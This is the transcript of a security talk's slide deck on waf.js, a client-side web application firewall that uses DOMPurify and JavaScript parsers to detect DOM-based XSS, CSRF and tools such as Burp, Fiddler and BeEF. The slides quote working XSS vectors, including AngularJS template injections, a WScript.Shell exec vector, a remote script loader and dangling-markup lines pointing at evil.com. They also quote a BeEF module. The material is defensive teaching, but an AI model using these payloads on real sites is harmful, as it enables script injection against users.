Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Waf.js: How to protect Web Applications using JavaScript

Waf.js: How to protect Web Applications using JavaScript

Denis Kolegov

May 24, 2016
Tweet

More Decks by Denis Kolegov

Other Decks in Programming

Transcript

  1. ptsecurity.com Waf.js 4 Waf.js is a PT Application Firewall defense-in-depth

    mechanism that protects users at DOM level against common client-side attacks The current features • CSRF prevention • DOM-based XSS attacks prevention • Reverse Clickjacking/SOME prevention • Unwanted applications detection
  2. ptsecurity.com CSRF Prevention 9 Random CSRF token is generated on

    server per user session Hidden fields with CSRF tokens are appended: • to all static forms of an HTML document • to all dynamically generated forms via MutationObserver No false positives for JSON/XML based REST APIs: • requests are checked only if its Content-Type corresponds to HTML forms that are sent from another domain
  3. ptsecurity.com CSRF Prevention 10 X-CSRF-Token header is added to all

    AJAX requests • XMLHttpRequest "send" method is overridden via window.XMLHttpRequest.Prototype • For old IE versions corresponding "send" methods are overridden for popular frameworks (jQuery, mootools, ExtJS, etc)
  4. ptsecurity.com Reverse Clickjacking Prevention 12 Reverse Clickjacking/SOME • • User-supplied

    data is inserted in JavaScript function call context without sufficient validation (typically JSONP endpoints) Cannot be detected on server-side Example https://ex.com/InCallback/#q=urc_button.click Pavel Toporkov. Two tales about Google Vulnerabilities Ben Hayak. Same Origin Method Execution
  5. ptsecurity.com Reverse Clickjacking Prevention 13 function sanitize(s) { if (typeof

    getProperty(window, s) === 'function') { s = ''; } return s; } Basic method Alternate method based on DOMPurify’s approach function sanitize(s) { if (typeof getProperty(window, s) !== 'string') { s = ''; } return s; }
  6. ptsecurity.com Unwanted Applications 15 Types • Bots: PhantomJS-based bots, Selenium

    • Exploits and frameworks: Beef, Sonar, Xbackdoor • Hacking tools: Burp, Zap, Acunetix, Fiddler, DOMinator Detection Methods • Window properties analysis • Hostnames (Burp, Zap) • Port scanning with <img> tag Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
  7. ptsecurity.com Example of PhantomJS Detection 16 function detectPhantom(){ if (window.callPhantom

    || window._phantom) { console.log('PhantomJS environment detected.'); } console.log('PhantomJS environment not detected.'); } Shape Security. Detecting PhantomJS Based Visitors
  8. ptsecurity.com BeEF Detection 17 function detectBeEF(){ if (window.beef || window.beef_init

    || window.BeefJS) { console.log('BeEF environment detected.'); } else if (window.uagent || window.deviceAndroid) { console.log('BeEF environment in evasion mode detected.'); } else { console.log('BeEF environment not detected.'); } }
  9. ptsecurity.com Burp Detection in BeEF 18 beef.execute(function() { load_script =

    function(url) { var s = document.createElement('script'); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } get_proxy = function() { try { var response = FindProxyForURL('', ''); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=true&response=' + response); } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=false'); } } load_script('http://burp/proxy.pac'); setTimeout('get_proxy()', 10000); });
  10. ptsecurity.com Burp Detection in waf.js 19 function detectBurp(){ var img

    = new Image(); img.src = 'http://burp/favicon.ico'; img.onload = function() { console.log('Burp environment detected.'); }; }
  11. ptsecurity.com Fiddler Detection in waf.js 20 var timeout = 150;

    function detectFiddler() { if (!allowInsecureDetectors) { return; } if (window.navigator.platform.substring(0,3) === 'Lin') { return; } var t = new Date().getTime(); var img = new Image(); img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer'; img.onerror = function() { if (new Date().getTime() - t < timeout) { console.log('Fiddler environment detected.'); } }; }
  12. ptsecurity.com Challenges 22 Implementation should be client-side Cannot use taint-analysis

    (à la DOMinator) We do not know injection context Many sources, sinks and contexts for malicious JavaScript execution Cannot wait when page is fully loaded We need not only to prevent attacks but also to detect and report them
  13. ptsecurity.com Researches 23 Server-Side XSS Attack Detection with ModSecurity and

    PhantomJS Precise Client-side Protection against DOM-based Cross-Site Scripting Towards Elimination of XSS Attacks with a Trusted and Capability Controlled DOM (Mario Heiderich)
  14. ptsecurity.com How to Detect XSS? 24 We should know where

    to look for it – sources that are controlled by an attacker • location • window.name • storages, etc. We should know XSS features – possibility to change AST in one of the following contexts • HTML/DOM • JavaScript • Attribute • URL
  15. ptsecurity.com XSS Contexts 25 Context HTML/DOM JavaScript Attribute URL Vector

    <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1)
  16. ptsecurity.com DOM-based XSS Protection Workflow 26 Get the next source

    Does it contain dangerous HTML? Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie Yes Yes No No
  17. ptsecurity.com XSS Contexts 27 Context HTML/DOM JavaScript Attribute URL Vector

    <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1) Grammar HTML, JavaScript JavaScript HTML, JavaScript URL, JavaScript
  18. ptsecurity.com DOMPurify 28 "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS

    sanitizer for HTML, MathML and SVG" Cure53’s project https://github.com/cure53/DOMPurify Features – Precise (not heuristic) – Library for developers – XSS sanitizer for HTML, MathML and SVG – Hooks mechanism
  19. ptsecurity.com What DOMPurify Can Do 29 Prevent XSS (including XSS

    via jQuery) var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789'; var policy = {FORBID_TAGS: ['a', 'b']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //123456789 var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>'; var clean = DOMPurify.sanitize(dirty); clean; // "123<a>I am a dolphin too!</a>" var dirty = '<a x="1">123<b>456</b></a>'; var policy = {FORBID_ATTR: ['x']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //"<a>123<b>456</b></a>"
  20. ptsecurity.com What DOMPurify Can Do 30 Prevent DOM Clobbering attacks

    var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>'; var clean = DOMPurify.sanitize(dirty); clean; // "<form><input>123</form>" var dirty = '<img src=x name=cookie>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x">"
  21. ptsecurity.com What DOMPurify Can Do 31 Prevent dangling markup injection

    attacks var dirty = '<img src='http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean;// "" dirty = '<script src=//14.rs a="'; clean = DOMPurify.sanitize(dirty); clean; // "" Postcards from the post-XSS world http://lcamtuf.coredump.cx/postxss/ Example http://blog.innerht.ml/csp-2015/
  22. ptsecurity.com DOMPurify Peculiarities 32 Input modification • order of attributes

    is changed • " can be added if there are no quotes or it can replace' • closing tag can be added DOMPurify does nothing, if input does not contain "<" DOMPurify.sanitize("<svg width=1 height='2'>"); // "<svg height="2" width="1"></svg>" DOMPurify.sanitize("alert(1);"); // "alert(1);//"
  23. ptsecurity.com What DOMPurify Cannot Do 33 Prevent injections into JavaScript

    context http://ex.com/foo.html#a';alert(1);// var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>"); // dirty = "bar';alert(1);//" // clean = "bar';alert(1);//" <script> var foo = 'a';alert(1);//'<script>
  24. ptsecurity.com What DOMPurify Cannot Do 34 Prevent injections into attribute

    context http://ex.com/foo.html#' onload='alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<img src='pic.jpg' width='" + width + "px'/>"); // dirty = "' onload='alert(1);" // clean = "' onload='alert(1);" <img src='pic.jpg' width='' onload=alert(1);px'/>");
  25. ptsecurity.com What DOMPurify Cannot Do 35 Prevent JavaScript injections into

    URL context http://ex.com/foo.html#javascript:alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<a href='"+clean+"'>Link</a>"); // dirty = "javascript:alert(1)" // clean = "javascript:alert(1)" <a href='javascript:alert(1)'>Link</a>");
  26. ptsecurity.com What DOMPurify Cannot Do 36 Prevent Reverse Clickjacking/SOME attacks

    http://ex.com/foo.html#delete_button.click var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); var url = '/re?q=' + clean + '&callback=' + clean + ''; var s = document.createElement('script'); s.src = url; document.body.appendChild(s); // dirty = "delete_button.click" // clean = "delete_button.click" <script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
  27. ptsecurity.com DOMPurify Adaptation for WAF 37 function sanitize(s) { var

    clean = ''; var dirty = normalize(s); var purified = DOMPurify.sanitize(dirty); if (!isMatch(dirty, purified)) { return clean; } return s; } ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) = DOMPurify is a sophisticated sanitizer. How can we use its power on WAF?
  28. ptsecurity.com DOMPurify Adaptation for WAF 38 isMatch("<svg width=1 height='2'>", "<svg

    height="2" width="1"></svg>") // true sanitize("<svg width=1 height='2'>"); // "<svg width=1 height='2'>" isMatch("<svg onload=alert(1)", "<svg></svg>") // false sanitize("<svg onload=alert(1)"); // "" ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) = DOMPurify is a sophisticated sanitizer. How can we use its power on WAF?
  29. ptsecurity.com DOM-based XSS Protection Workflow 39 Get the next source

    isDOMPurified() Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True Yes False No
  30. ptsecurity.com Approaches to Injection Detection in WAFs 40 Lexical (Regular

    Expressions) Signature-based lexical • libinjection (Nick Galbreath) Syntactical • Parser generation - libdetection (Wallarm) • Parser adaptation - waf.js (Positive Technologies)
  31. ptsecurity.com Our Approach 41 Data is allowed only if its

    AST does not contain dangerous code Ready-made JavaScript parsers are used This approach is universal and can be used for detection of arbitrary injections It is heuristical
  32. ptsecurity.com Example 1 42 http://ex.com/foo.html#11111 var input = location.hash.slice(1); document.write("<scr"+"ipt>var

    foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 11111; <script> Program ExpressionStatement Literal
  33. ptsecurity.com Example 2 43 http://ex.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var

    foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  34. ptsecurity.com Our Approach 44 Requirements to parser • Written in

    JavaScript • Works in all modern browsers • High performance Candidates • Acorn • Esprima
  35. ptsecurity.com Detection Methods 45 Phases • Context computation or prediction

    • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant
  36. ptsecurity.com Context Computation 46 The first issue • AST for

    alert(1) contains CallExpression node • AST for ";alert(1);" does not contain CallExpression node Template-based var a = "<>"; A heuristic method based on tokens number ";alert(1);" – 1 token ' ";alert(1);" – 1 token "";alert(1);" – 8 tokens parse(var a = "";alert(1);"") parse("";alert(1);")
  37. ptsecurity.com Dangerous Code Search 48 Dangerous statements are listed in

    security policy and can be specified by ESTree node names We can use additional logic based on parent or child nodes to minimize false positives For simplicity we'll assume that the security policy is restricted by CallExpression node only
  38. ptsecurity.com AST Search 49 What should we do if AST

    can not be built by parser? ""};alert(1);var f={t:" function sanitize(dirty) { var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree; tree = esprima.parse(dirty); estraverse.traverse(tree, { enter: function(node) { if (node.type === 'CallExpression') { return clean; } } }); return dirty; } Esprima/estraverse
  39. ptsecurity.com Search recovery 50 The first method is reduction from

    the right: ""};alert(1);var f={t:" ""};alert(1); The parsed string is changed using information about parse errors from the previous step When we find a dangerous node in AST we immediately stop parsing
  40. ptsecurity.com Search recovery 51 function sanitize(dirty) { var acorn =

    require('acorn'), detected = false, clean = '', tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(payload, {plugins: {detectCallExpression: true}}); if (detected) { return clean; } return dirty; } Only Acorn parser supports parse-time plugins
  41. ptsecurity.com Perfect parser 52 Written in JavaScript Works in all

    modern browsers High performance Standard-compliant (ECMAScript, ESTree) Modular - allows to change parse logic Returns error information Error-tolerant
  42. ptsecurity.com Detection Methods 53 Phases • Context computation or prediction

    • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant
  43. ptsecurity.com Template-based Method 54 templates = { var a =

    <>; var a = ' <> '; var a = {aa: "<>", bb: "bb"} } input = "};alert(1);var f={t:" 1
  44. ptsecurity.com Template-based Method 55 contexts = { var a =

    "};alert(1);var f={t:"; var a = ' "};alert(1);var f={t:" '; var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"} } 2
  45. ptsecurity.com Template-based Method 56 parse(var a = "};alert(1);var f={t:" ;)

    parse(var a = ' "};alert(1);var f={t:" ';) parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}) 3
  46. ptsecurity.com Error-based Method 59 input = "};alert(1);var f={t:" normalized =

    ""};alert(1);var f={t:" parse(""};alert(1);var f={t:") 3
  47. ptsecurity.com Left Reduction Method 67 Input: string S, context CTX

    Output: is S an injection in CTX context? 1. Tokenize S in CTX context. Save all tokens in tokens array 2. Parse S and build AST 3. If this AST contains specified forbidden nodes, then S is an injection 4. Otherwise delete from S the next token 5. If S is not an empty string, go to the step 2
  48. ptsecurity.com Left Reduction Method 69 nodes = {CallExpression} s =

    "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} 2
  49. ptsecurity.com Left Reduction Method 70 nodes = {CallExpression} s =

    "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ""});alert(1);var f =({t:" parse(ctx): Unexpected token (1:2) 3
  50. ptsecurity.com Left Reduction Method 71 nodes = {CallExpression} s =

    "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = });alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 4
  51. ptsecurity.com Left Reduction Method 72 nodes = {CallExpression} s =

    "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = );alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 5
  52. ptsecurity.com Left Reduction Method 73 nodes = {CallExpression} s =

    "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ;alert(1);var f =({t:" parse(ctx): Program 6
  53. ptsecurity.com Left Reduction Method 74 7 Program EmptyStatement ExpressionStatement alert

    CallExpression … arguments 1 nodes = {CallExpression} ctx = ;alert(1);var f =({t:"
  54. ptsecurity.com Example of Implementation 75 function sanitize(s){ var clean =

    ''; var ctxs = ['', '"', '\''], ctx, tokens, curToken, detected = false; for (var i = 0, len = ctxs.length; i < len; i++) { ctx = ctxs[i] + s; tokens = getTokens(ctx); curToken = 0; while(ctx.length > 0 && !isInjection) { try { acorn.parse(ctx, plugins: {detectCallExpression: true}}); } catch(e){} if (detected) return clean; ctx = ctx.substring(tokens[curToken].length); curToken +=1; } } return s; }; }
  55. ptsecurity.com Detected Vectors 76 javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr c%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body. appendChild%28s%29%7D%29%28document.createElement%28%27sc ript%27%29%29 OSX Message

    XSS Client-side Template Injection with AngularJS Cure53 H5SC Mini Challenge 4 [alert(1)] %22})));alert(1)}catch(e){}// {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  56. ptsecurity.com Detected Vectors 77 http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected

    File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  57. ptsecurity.com Error tolerance 78 )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4

    function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…" This type of XSS can be found only if parser is error-tolerant
  58. ptsecurity.com Error tolerance 79 nodes = {CallExpression} s = )},{0:prompt(1

    Program ExpressionStatement SequenceExpression … ObjectExpression Identifier CallExpression name: x
  59. ptsecurity.com DOM-based XSS Protection Workflow 80 Get the next source

    isDOMPurified() isJSParsed? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True True False False
  60. ptsecurity.com False Positive Minimization 81 Extended configuration features • Source

    types • Contexts for sources and parameters • Forbidden ESTree nodes Additional rules in Acorn modules Predefined profiles for customer’s applications Heavy testing
  61. ptsecurity.com Roadmap 83 waf.js community edition Client-side request signing CSRF

    token randomization per request Protection against reverse tabnabbing Protection against phishing attacks Self-XSS warnings